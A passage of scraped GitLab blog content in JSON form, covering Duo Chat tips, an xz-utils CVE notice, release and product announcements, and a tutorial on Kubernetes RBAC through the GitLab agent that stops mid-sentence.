need to contain a multi-line string representation. \n\nThere is an alternative for additional context in VS Code and the Web IDE: Select the source code in question, right-click, and navigate into `GitLab Duo Chat > Refactor`. This opens the Chat prompt and fires the `/refactor` code task immediately.\n\nAlthough, the code task might not bring the expected results. Refactoring a single-line SQL string can mean a lot of things: Use multiple lines for readability, create constants, etc.\n\nCode tasks provide an option to refine the prompt. You can add more text after the `/refactor` command, and instruct GitLab Duo Chat to use a specific code type, algorithm, or design pattern. \n\nLet's try it again: Select the source code, change focus into Chat, and type the following prompt, followed by `Enter`. \n\n> /refactor into a multi-line written string. Show different approaches for all C++ standards.\n\n![Chat prompt to refactor into a multi-line written string and response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750097645364.png)\n\n**Tip:** You can use GitLab Duo Code Suggestions to refine the source code even more after refactoring, or use alternative `/refactor` prompt refinements.\n\n>/refactor into a multi-line written string, show different approaches\n>\n> /refactor into multi-line string, not using raw string literals\n>\n> /refactor into a multi-line written string. Make the table name parametrizable\n\nAn alternative approach with the `stringstream` type is shown in the [GitLab Duo Coffee Chat: Refactor C++ functions into OOP classes for abstract database handling](https://www.youtube.com/watch?v=Z9EJh0J9358), [MR diff](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-coffee-chat/gitlab-duo-coffee-chat-2024-01-23/-/commit/7ea233138aed46d77e6ce0d930dd8e10560134eb#4ce01e4c84d4b62df8eed159c2db3768ad4ef8bf_33_35). \n\n#### Explain vulnerabilities\n\nIt might not always work, but the `/explain` slash command can be asked about security vulnerability explanations, too. In this example, the [C code](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c) contains multiple vulnerabilities for strcpy() buffer overflows, world writable file permissions, race condition attacks, and more.\n\n> /explain why this code has multiple vulnerabilities\n\n![Chat prompt about the code's multiple vulnerabilities](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750097645365.png)\n\n#### Refactor C code into Rust\n\nRust provides memory safety. You can ask Duo Chat to refactor the vulnerable [C code](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c) into Rust, using `/refactor into Rust`. Practice with more refined prompts to get better results.\n\n> /refactor into Rust and use high level libraries\n\n![Chat prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097645366.png)\n\n### Shortcuts \n\nGive these shortcuts a try in your environment, and practice async using GitLab Duo Chat.\n\n1. Inspect vulnerable code from CVEs, and ask what it does, and how to fix it, using `/explain why is this code vulnerable`. \n**Tip:** Import open-source projects in GitLab to take advantage of GitLab Duo Chat code explanations.\n1. Try to refactor code into new programming languages to help legacy code migration plans.\n1. You can also try to refactor Jenkins configuration into GitLab CI/CD, using `/refactor into GitLab CI/CD configuration`. \n\n### Fun exercises \n\nTry to convince Chat to behave like Clippy.\n![Chat prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image22_aHR0cHM6_1750097645366.png)\n\nAsk about GitLab's mission: \"Everyone can contribute.\"\n\n![Chat prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image33_aHR0cHM6_1750097645367.png)\n\n### Learn more\n\nThere are many different environments and challenges out there. We have updated the [GitLab Duo Chat documentation](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) with more practical examples, and added a new [GitLab Duo examples](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html) section with deep dives into AI-powered DevSecOps workflows, including Chat.\n\n> Want to get going with GitLab Duo Chat? [Start your free trial today](https://about.gitlab.com/solutions/gitlab-duo-pro/self-managed-and-gitlab-dedicated-trial/).\n",[790,696,479,754],{"slug":6464,"featured":92,"template":678},"10-best-practices-for-using-ai-powered-gitlab-duo-chat","content:en-us:blog:10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","10 Best Practices For Using Ai Powered Gitlab Duo Chat","en-us/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","en-us/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"_path":6470,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6471,"content":6476,"config":6482,"_id":6484,"_type":16,"title":6485,"_source":17,"_file":6486,"_stem":6487,"_extension":20},"/en-us/blog/important-information-regarding-xz-utils-cve-2024-3094",{"title":6472,"description":6473,"ogTitle":6472,"ogDescription":6473,"noIndex":6,"ogImage":1101,"ogUrl":6474,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6474,"schema":6475},"Important information regarding xz-utils (CVE-2024-3094)","Affected software not used for GitLab.com, GitLab Dedicated, or default self-hosted software packages.","https://about.gitlab.com/blog/important-information-regarding-xz-utils-cve-2024-3094","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Important information regarding xz-utils (CVE-2024-3094)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Shrishti Choudhary\"}],\n        \"datePublished\": \"2024-03-30\",\n      }",{"title":6472,"description":6473,"authors":6477,"heroImage":1101,"date":6479,"body":6480,"category":674,"tags":6481},[6478],"Shrishti Choudhary","2024-03-30","GitLab is aware of [CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094), where malicious code was back-doored into the [xz-utils](https://en.wikipedia.org/wiki/XZ_Utils) lossless compression software suite, affecting xz-utils Versions 5.6.0 and 5.6.1. Upon investigation, GitLab determined that it does not use the affected software version for GitLab.com, GitLab Dedicated, or default self-hosted software packages. \n\nGitLab self-hosted customers should check locally installed packages to ensure that they do not have the packages xz or xz-utils Versions 5.6.0 or 5.6.1 installed. If it is installed, it may be safer to downgrade them to 5.4.x until the vendor provides a safe version, or confirms the latest versions are not affected. If possible, the hosts and containers with the potentially malicious version should be brought down and replaced in case they have been compromised.\n\nMicrosoft-owned GitHub has since [disabled the XZ Utils repository](https://github.com/tukaani-project/xz) maintained by the Tukaani Project \"due to a violation of GitHub's terms of service.\"",[674,736],{"slug":6483,"featured":92,"template":678},"important-information-regarding-xz-utils-cve-2024-3094","content:en-us:blog:important-information-regarding-xz-utils-cve-2024-3094.yml","Important Information Regarding Xz Utils Cve 2024 3094","en-us/blog/important-information-regarding-xz-utils-cve-2024-3094.yml","en-us/blog/important-information-regarding-xz-utils-cve-2024-3094",{"_path":6489,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6490,"content":6496,"config":6501,"_id":6504,"_type":16,"title":6505,"_source":17,"_file":6506,"_stem":6507,"_extension":20},"/en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5",{"title":6491,"description":6492,"ogTitle":6491,"ogDescription":6492,"config":6493,"ogImage":3431,"ogUrl":6494,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6494,"schema":6495},"GitLab Security Release: 16.10.1, 16.9.3, 16.8.5","Learn more about GitLab Security Release: 16.10.1, 16.9.3, 16.8.5 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.10.1, 16.9.3, 16.8.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Morrison\"}],\n        \"datePublished\": \"2024-03-27\",\n      }",{"title":6491,"description":6492,"authors":6497,"heroImage":3431,"date":6498,"body":6499,"category":674,"tags":6500},[2205],"2024-03-27","This is the post for [GitLab Security Release: 16.10.1, 16.9.3, 16.8.5](https://about.gitlab.com/releases/2024/03/27/security-release-gitlab-16-10-1-released/).",[1464,674,774],{"slug":6502,"featured":6,"template":678,"externalUrl":6503},"gitlab-security-release-16-10-1-16-9-3-16-8-5","https://about.gitlab.com/releases/2024/03/27/security-release-gitlab-16-10-1-released/","content:en-us:blog:gitlab-security-release-16-10-1-16-9-3-16-8-5.yml","Gitlab Security Release 16 10 1 16 9 3 16 8 5","en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5.yml","en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5",{"_path":6509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6510,"content":6515,"config":6520,"_id":6522,"_type":16,"title":6523,"_source":17,"_file":6524,"_stem":6525,"_extension":20},"/en-us/blog/coming-soon-gitlab-dependency-firewall",{"title":6511,"description":6512,"ogTitle":6511,"ogDescription":6512,"noIndex":6,"ogImage":3961,"ogUrl":6513,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6513,"schema":6514},"Coming soon: GitLab dependency firewall","Learn how this new feature will help organizations avoid supply chain software attacks by warning them or blocking the download based on a project's policy.","https://about.gitlab.com/blog/coming-soon-gitlab-dependency-firewall","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Coming soon: GitLab dependency firewall\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-03-26\",\n      }",{"title":6511,"description":6512,"authors":6516,"heroImage":3961,"date":6517,"body":6518,"category":674,"tags":6519},[1125],"2024-03-26","The [Maven dependency proxy](https://about.gitlab.com/blog/gitlabs-maven-dependency-proxy-is-available-in-beta/) was released in GitLab 16.8. This new feature allows organizations to proxy and cache packages from one upstream repository to a GitLab project, which can help reduce reliance on external sources.\n\nHowever, with this added efficiency there is an added security risk of software supply chain attacks like [typosquatting](https://www.mcafee.com/learn/what-is-typosquatting) and other dependency confusion attacks. Supply chain attacks are when attackers try to get developers and CI/CD pipelines to include malicious packages to increase the surface area of the attack.\n\nThe [dependency firewall](https://gitlab.com/groups/gitlab-org/-/epics/5133), planned for the second half of 2024, will help organizations avoid these attacks by warning them or blocking the download based on their project's policy.\n\n## What is the dependency firewall?\n\nThe dependency firewall is the first line of defense when downloading packages from the internet.\n\nAt a high level, GitLab wants to build the following capabilities into the dependency firewall:\n\n* prevent malicious packages from entering the software supply chain\n* check each new package against GitLab [policy](https://docs.gitlab.com/ee/user/application_security/policies/)\n* quarantine packages for review before they are available\n* manage quarantined packages\n* report package usage\n\n### What does a dependency firewall policy do?\n\nThe planned dependency firewall policy will do two things: `warn` and `fail`. You will be able to create a **dependency firewall policy** that warns your organization when certain conditions are met or quarantines the package. For example, you can create a policy that prevents the package from being downloaded if it has any known critical vulnerabilities. Or you can simply add a warning for packages with known, but less severe, vulnerabilities. \n\n**Note:** The warnings can be limited to the log files for the minimal viable change (MVC).\n\nThe first rule we'll support will be as follows:\n```\n1. When `Security scan`\n2. Select \"Scanners\" (dependency scanning)\n3. With `No exceptions` that finds `Any` vulnerabilities matching\n4. `Critical` severity\n```\n\nFor the MVC, we will focus on adding a warning when a package downloaded through the dependency proxy has any known critical vulnerabilities. \n\nBeyond the MVC, we will add support for the following:\n- lower severity vulnerabilities\n- warnings in the package registry UI list view\n- rules to quarantine packages\n- the ability to review and update the quarantine\n- the ability to add a warning to the security vulnerability report\n\n## More about rules\n\n1. Rules that are `warn` only can leverage a background job. Rules that `fail` need to be handled by the web request.\n1. Rules handled by a background job can have an extended scope. For example, we can inspect the package information and open the archive to get the metadata, inspect it, and provide more robust rules and conditions.\n1. Rules handled within the web request must be fast and scalable. This will limit what we can do in these cases.\n\n## Next steps\n\nTo learn more or contribute to the dependency firewall, please [visit our dependency firewall epic](https://gitlab.com/groups/gitlab-org/-/epics/5133).\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[674,736,754,110],{"slug":6521,"featured":6,"template":678},"coming-soon-gitlab-dependency-firewall","content:en-us:blog:coming-soon-gitlab-dependency-firewall.yml","Coming Soon Gitlab Dependency Firewall","en-us/blog/coming-soon-gitlab-dependency-firewall.yml","en-us/blog/coming-soon-gitlab-dependency-firewall",{"_path":6527,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6528,"content":6533,"config":6537,"_id":6539,"_type":16,"title":6540,"_source":17,"_file":6541,"_stem":6542,"_extension":20},"/en-us/blog/were-combining-patch-and-security-releases",{"title":6529,"description":6530,"ogTitle":6529,"ogDescription":6530,"noIndex":6,"ogImage":1101,"ogUrl":6531,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6531,"schema":6532},"We’re combining patch and security releases","This improvement in our release process matches the industry standard and will help GitLab users get information about security and bug fixes sooner.","https://about.gitlab.com/blog/were-combining-patch-and-security-releases","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We’re combining patch and security releases\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2024-03-26\",\n      }",{"title":6529,"description":6530,"authors":6534,"heroImage":1101,"date":6517,"body":6535,"category":674,"tags":6536},[1720],"Security releases are an important part of modern software delivery. Historically, GitLab committed to one security release a month, with patch releases delivered additionally throughout the month as they became available. We recognize that this has been a suboptimal user experience and the majority of users would prefer a more defined schedule and structure for these releases to make planning for them easier. \n\nTo address these concerns, starting in April, we will combine patch and security releases along with a more frequent patch release schedule. Planned patch releases will now happen twice a month – on the second and fourth Wednesdays – and will contain security and bug fixes.\n\nFor more details, see the [patch release section](https://handbook.gitlab.com/handbook/engineering/releases/#patch-releases-overview) on our Releases page in the GitLab Handbook.\n\n## What does this change mean for you?\n\nIn April, we will rebrand ‘patch’ and ‘security’ releases and combine them into ‘patch’ releases, following [semantic versioning](https://semver.org/) standards. \n\nAdditionally, we have doubled the number of planned patch releases we will deliver each month. There will now be two planned patch releases for every GitLab minor version, which may contain both bug and security fixes. We will be able to deliver fixes to users sooner and improve the overall UX of security releases by operating on a regular schedule.\n\nSubscribers to the security email list will continue to receive their notifications as usual and the release blog posts will continue to publish regularly, likely with some minor changes to the template to highlight security fixes. \n\nIf you have any questions about the change or would like to give feedback, please post a comment on [our feedback issue](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/20071).",[1464,674,736,716],{"slug":6538,"featured":6,"template":678},"were-combining-patch-and-security-releases","content:en-us:blog:were-combining-patch-and-security-releases.yml","Were Combining Patch And Security Releases","en-us/blog/were-combining-patch-and-security-releases.yml","en-us/blog/were-combining-patch-and-security-releases",{"_path":6544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6545,"content":6552,"config":6557,"_id":6560,"_type":16,"title":6561,"_source":17,"_file":6562,"_stem":6563,"_extension":20},"/en-us/blog/gitlab-16-10-release",{"title":6546,"description":6547,"ogTitle":6546,"ogDescription":6547,"config":6548,"ogImage":6549,"ogUrl":6550,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6550,"schema":6551},"GitLab 16.10 Release","GitLab 16.10 released with semantic versioning in the CI/CD catalog",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668956/Blog/Hero%20Images/16.10_cover_image_-_Blog-1800x800.png","https://about.gitlab.com/blog/gitlab-16-10-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16.10 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2024-03-21\",\n      }",{"title":6546,"description":6547,"authors":6553,"heroImage":6549,"date":6554,"body":6555,"category":962,"tags":6556},[1342],"2024-03-21","This is the [release post for GitLab 16.10](https://about.gitlab.com/releases/2024/03/21/gitlab-16-10-released/).",[774],{"slug":6558,"featured":6,"template":678,"externalUrl":6559},"gitlab-16-10-release","https://about.gitlab.com/releases/2024/03/21/gitlab-16-10-released/","content:en-us:blog:gitlab-16-10-release.yml","Gitlab 16 10 Release","en-us/blog/gitlab-16-10-release.yml","en-us/blog/gitlab-16-10-release",{"_path":6565,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6566,"content":6572,"config":6578,"_id":6580,"_type":16,"title":6581,"_source":17,"_file":6582,"_stem":6583,"_extension":20},"/en-us/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities",{"title":6567,"description":6568,"ogTitle":6567,"ogDescription":6568,"noIndex":6,"ogImage":6569,"ogUrl":6570,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6570,"schema":6571},"Oxeye joins GitLab to advance application security capabilities ","The initial focus will be on accelerating GitLab's Static Application Security (SAST) roadmap.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671969/Blog/Hero%20Images/gitlab-oxeye-blog-1800x945.png","https://about.gitlab.com/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Oxeye joins GitLab to advance application security capabilities \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"},{\"@type\":\"Person\",\"name\":\"Dean Agron, co-founder and CEO, Oxeye\"}],\n        \"datePublished\": \"2024-03-20\",\n      }",{"title":6567,"description":6568,"authors":6573,"heroImage":6569,"date":6575,"body":6576,"category":736,"tags":6577},[1524,6574],"Dean Agron, co-founder and CEO, Oxeye","2024-03-20","GitLab has acquired [Oxeye](https://www.oxeye.io/) to advance GitLab’s application security capabilities with an initial focus on accelerating its Static Application Security Testing (SAST) roadmap. \n\nGitLab first launched SAST in 2017. We have since continued to mature our application security capabilities as part of our vision to evolve SAST as a key part of the GitLab DevSecOps workflow. This not only means enhancing our best-in-class offering with advances in AI/ML but also reinforcing the power of SAST across the entire software development lifecycle by continuously improving the signal-to-noise ratio, reducing false positives that commonly plague SAST solutions. \n\nFor SAST to have the most impact on security, it must be used seamlessly with other security and development tools and accessible to developers. SAST is a powerful tool, but it loses much of its value if the results are unmanageable or lack appropriate context.\n\nGitLab is the most comprehensive AI-powered DevSecOps platform combining security natively with source control, build tools, repositories, and other features like issue tracking and application monitoring. Our approach to innovating in static analysis combines our focus on open source, our platform approach, and specialized investments in SAST.\n\nGitLab has a history of innovation in the SAST space:\n- We were early to include SAST in a DevOps platform in 2017.\n- We were the first DevSecOps platform to be recognized in the 2020 Gartner® Magic Quadrant™ for Application Security Testing. \n- We contribute heavily to open source SAST tools.\n\nRecently, Forrester recognized GitLab as the only Leader in [The Forrester Wave™: Integrated Software Delivery Platforms, Q2 2023](https://about.gitlab.com/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms/). The report included a customer’s comment on the platform, noting that “The CI/CD experience using secrets, environments, runners, and SAST/DAST/license scans/etc. is unparalleled.” \n\nAcquiring Oxeye for best-in-class scanning technology is another step toward accelerating GitLab’s SAST roadmap. Its enhanced SAST scanner will streamline vulnerability management and remediation for developers. Empowering developers to have an impact on the security of their products requires security findings to be accurate and focused on the most critical and exploitable weaknesses. Oxeye’s capabilities will help GitLab to realize that vision. \n\nOxeye’s capabilities beyond SAST include the ability to trace vulnerabilities from “code to cloud” by providing runtime context via different types of data collection and analysis. We anticipate enhancing our software composition analysis and compliance tools with these capabilities to further help our customers identify and resolve all application-layer risks quickly.\n\nThe combined strength and security expertise of the GitLab and Oxeye teams will help even more organizations reduce their security and compliance risk as they accelerate their digital transformation efforts.\n\n> [Learn more about GitLab SAST](https://about.gitlab.com/solutions/security-compliance/) and other application security capabilities.",[674,736,943],{"slug":6579,"featured":92,"template":678},"oxeye-joins-gitlab-to-advance-application-security-capabilities","content:en-us:blog:oxeye-joins-gitlab-to-advance-application-security-capabilities.yml","Oxeye Joins Gitlab To Advance Application Security Capabilities","en-us/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities.yml","en-us/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities",{"_path":6585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6586,"content":6591,"config":6596,"_id":6598,"_type":16,"title":6599,"_source":17,"_file":6600,"_stem":6601,"_extension":20},"/en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access",{"title":6587,"description":6588,"ogTitle":6587,"ogDescription":6588,"noIndex":6,"ogImage":920,"ogUrl":6589,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6589,"schema":6590},"Simplify your cloud account management for Kubernetes access","In this tutorial, learn how to use the GitLab agent for Kubernetes and its user impersonation features for secure cluster access.\n\n","https://about.gitlab.com/blog/simplify-your-cloud-account-management-for-kubernetes-access","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Simplify your cloud account management for Kubernetes access\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2024-03-19\",\n      }",{"title":6587,"description":6588,"authors":6592,"heroImage":920,"date":6593,"body":6594,"category":674,"tags":6595},[2544],"2024-03-19","We hear you: Managing cloud accounts is risky, tedious, and time-consuming, but also a must-have in many situations. You might run your Kubernetes clusters with one of the hyperclouds, and your engineers need to access at least the non-production cluster to troubleshoot issues quickly and efficiently. Sometimes, you also need to give special, temporary access to engineers on a production cluster.\n\nYou have also told us that access requests might not come very often, but when they do, they are urgent, and given the high security requirements around the process, they can take close to a week to fulfill. \n\nBy giving access to your cloud infrastructure, you automatically expose yourself to risks. As a result, it's a best practice to restrict access only to the resources the given user must have access to. However, cloud identity and access management (IAM) is complex by nature. \n\nIf you are using Kubernetes and you need to give access specifically to your clusters only, GitLab can help. Your user will be able to identify with your cluster, so you can configure the Kubernetes role-based access controls (RBAC) to restrict their access within the cluster. With GitLab, and specifically the GitLab agent for Kubernetes, you can start at the last step and focus only on the RBAC aspect.\n\n## What is the GitLab agent for Kubernetes?\n\nThe GitLab agent for Kubernetes is a set of GitLab components that allows a permanent, bi-directional streaming channel between your GitLab instance and your Kubernetes cluster (one agent per cluster). Once the agent connection is configured, you can share it across projects and groups within your GitLab instance, allowing a single agent to serve all the access needs of a cluster.\n\nCurrently, the agent has several features to simplify your Kubernetes management tasks:\n\n* [Integrates with GitLab CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) for push-based deployments or regular cluster management jobs. The integration exposes a Kubernetes context per available agent in the Runner environment, and any tool that can take a context as an input (e.g. kubectl or helm CLI) can reach your cluster from the CI/CD jobs.\n* Integrates with the GitLab GUI, specifically the environment pages. Users can configure [an environment to show the Kubernetes resources](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) available in a specific namespace, and even set up a Flux resource to track the reconciliation of your applications.\n* Enables users to use the GitLab-managed channel to [connect to the cluster from their local laptop](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html#access-a-cluster-with-the-kubernetes-api), without giving them cloud-specific Kubernetes access tokens.\n* Supports [Flux GitRepository reconciliations](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html#immediate-git-repository-reconciliation) by triggering a reconciliation automatically on new commits in repositories the agent can access.\n* [Runs operational container scans](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) and shows the reports in the GitLab UI.\n* Enables you to enrich the [remote development](https://docs.gitlab.com/ee/user/project/remote_development/) offering with [workspaces](https://docs.gitlab.com/ee/user/workspace/).\n\n> Try simplifying your cloud account management for Kubernetes access today with [a free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).\n\n## The agent and access management\n\nThe GitLab agent for Kubernetes, which is available for GitLab Ultimate and Premium, impersonates various GitLab-specific users when it acts on behalf of GitLab in the cluster.\n\n* For the GitLab CI/CD integration, the agent impersonates the CI job as the user, and enriches the user with group specific metadata that describe the project and the group.\n\n* For the environment and local connections, the agent impersonates the GitLab user using the connection, and similarly to the CI/CD integration, the impersonated Kubernetes user is enriched with group specific metadata, like roles in configured groups.\n\nAs this article is about using the agent instead of cloud accounts for cluster access, let’s focus on the environment and local connections setup.\n\n## An example setup\n\nTo offer a realistic setup, let’s assume that in our GitLab instance we have the following groups and projects:\n\n* `/app-dev-group/team-a/service-1`\n* `/app-dev-group/team-a/service-2`\n* `/app-dev-group/team-b/service-3`\n* `/platform-group/clusters-project`\n\nIn the above setup, the agents are registered against the `clusters-project` project and, in addition to other code, the project contains the agent configuration files:\n\n* `.gitlab/agents/dev-cluster/config.yaml`\n* `.gitlab/agents/prod-cluster/config.yaml`\n\nThe `dev-cluster` and `prod-cluster` directory names are actually the agent names as well, and registered agents and related events can be seen within the projects “Operations/Kubernetes clusters” menu item. The agent offers some minimal features by default, without a configuration file. To benefit from the user access features and to share the agent connection across projects and groups, a configuration file is required.\n\nLet’s assume that we want to configure the agents in the following way:\n\n* For the development cluster connection:\n\n    * Everyone with at least developer role in team-a should be able to read-write their team specific namespace `team-a` only.\n    * Everyone with group owner role in team-a should have namespace admin rights on the `team-a` namespace only.\n    * Members of `team-b` should not be able to access the cluster.\n\n* For the production cluster connection:\n\n    * Everyone with at least developer role in team-a should be able to read-only their team specific namespace `team-a` only.\n    * Members of `team-b` should not be able to access the cluster.\n\nFor the development cluster, the above setup requires an agent configuration file in `.gitlab/agents/dev-cluster/config.yaml` as follows:\n\n```yaml\nuser_access:\n  access_as:\n    user: {}\n  groups:\n    - id: app-dev-group/team-a # group_id=1\n    - id: app-dev-group/team-b # group_id=2\n```\n\nIn this code snippet we added the group ID of the specific groups in a comment. We will need these IDs in the following Kubernetes RBAC definitions:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-edit\n  namespace: team-a\nroleRef:\n  name: edit\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:developer\n    kind: Group\n```\n\nand...\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-owner-can-admin\n  namespace: team-a\nroleRef:\n  name: admin\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:owner\n    kind: Group\n```    \n\nThe above two code snippets can be applied to the cluster with the GitLab Flux integration or manually via `kubectl`. They describe role bindings for the `team-a` group members. It’s important to note that only the groups and projects from the agent configuration file can be targeted as RBAC groups. Therefore, the following RBAC will not work as the impersonated user resources don’t know about the referenced projects:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-edit\n  namespace: team-a\nroleRef:\n  name: edit\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:project_role:3:developer # app-dev-group/team-a/service-1 project ID is 3\n    kind: Group\n```\n\nFor the production cluster we need the same agent configuration under `.gitlab/agents/prod-cluster/config.yaml` and the following RBAC definitions:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-read\n  namespace: team-a\nroleRef:\n  name: view\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:developer\n    kind: Group\n```\n\nThese configurations allow project owners to set up the environment pages so members of `team-a` will be able to see the status of their cluster workloads in real-time and they should be able to access the cluster from their local computers using their favorite Kubernetes tools.\n\n## Explaining the magic\n\nIn the previous section, you learned how to set up role bindings for group members with specific roles. In this section, let's dive into the impersonated user and their attributes.\n\nWhile Kubernetes does not have a User or Group resource, its authentication and authorization scheme pretends to have it. Users have a username, can belong to groups, and can have other extra attributes.\n\nThe impersonated GitLab user carries the `gitlab:username:\u003Cusername>` in the cluster. For example, if our imaginary user Béla has the GitLab username `bela`, then in the cluster the impersonated user will be called `gitlab:username:bela`. This allows targeting of a specific user in the cluster.\n\nEvery impersonated user belongs to the `gitlab:user` group. Moreover, for every project and group listed in the agent configuration, we check the current user’s role and add it as a group. This is more easily understood through an example, so let’s modify a little bit the agent configuration we used above.\n\n```yaml\nuser_access:\n  access_as:\n    user: {}\n  projects:\n    - id: platform-group/clusters-project # project_id=1\n  groups:\n    - id: app-dev-group/team-a # group_id=1\n    - id: app-dev-group/team-b # group_id=2\n```\n\nFor the sake of example, let’s assume the contrived setup that our user Béla is a maintainer in the `platform-group/clusters-project` project, is a developer in `app-dev-group/team-a` group, and an owner of the `app-dev-group/team-a/service-1` project. In this case, the impersonated Kubernetes user `gitlab:username:bela` will belong to the following groups:\n\n* `gitlab:user`\n* `gitlab:project_role:1:developer`\n* `gitlab:project_role:1:maintainer`\n* `gitlab:group_role:1:developer`\n\nWhat happens is that we check Béla’s role in every project and group listed in the agent configuration, and set up all the roles that Béla has there. As Béla is a maintainer in `platform-group/clusters-project` (project ID 1), we add him to both the `gitlab:project_role:1:developer` and `gitlab:project_role:1:maintainer` groups. Note as well, that we did not add any groups for the `app-dev-group/team-a/service-1` project, only its parent group that appears in the agent configuration.\n\n## Simplifying cluster management\n\nSetting up the agent and configuring the cluster as presented above is everything you need to model the presented access requirements in the cluster. You don’t have to manage cloud accounts or add in-cluster account management tools like Dex. The agent for Kubernetes and its user impersonation features can simplify your infrastructure management work.\n\nWhen new people join your company, once they become members of the `team-a` they immediately get access to the clusters as configured above. Similarly, as someone leaves your company, you just have to remove them from the group and their access will be disabled. As we mentioned, the agent supports local access to the clusters, too. As that local access runs through the GitLab-side agent component, it will be disabled as well when users are removed from the `team-a` group.\n\nSetting up the agent takes around two-to-five minutes per cluster. Setting up the required RBAC might take another five minutes. In 10 minutes, users can get controlled access to a 